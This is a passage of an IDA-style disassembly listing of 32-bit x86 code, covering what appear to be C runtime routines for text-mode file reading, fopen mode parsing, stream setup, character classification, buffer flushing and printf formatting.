loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DCDA0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DCCA0h[eax*4] mov eax, dword_4DCCA0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jnz short loc_41F1E4 call near ptr 2680ABEh nop push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB958, 9 mov dword_4DB95C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2700000h nop test eax, eax jnz short loc_41F285 nop call near ptr 2680ABEh test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB95C, 0 mov dword_4DB958, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB9D8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBB44 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DBB40 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DCC80 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DBC78 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DBC78 mov [edi+ecx], eax mov eax, dword_4DBC78 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C9D8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C9D8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43D0E8 jz short loc_41F5EA cmp esi, offset dword_43D108 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DCCA0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43D030 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+427734h] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_427754[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C9D8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43CBF4 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43CBF0 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43CF80 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43CF8C pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43CF84 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43CBF0 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 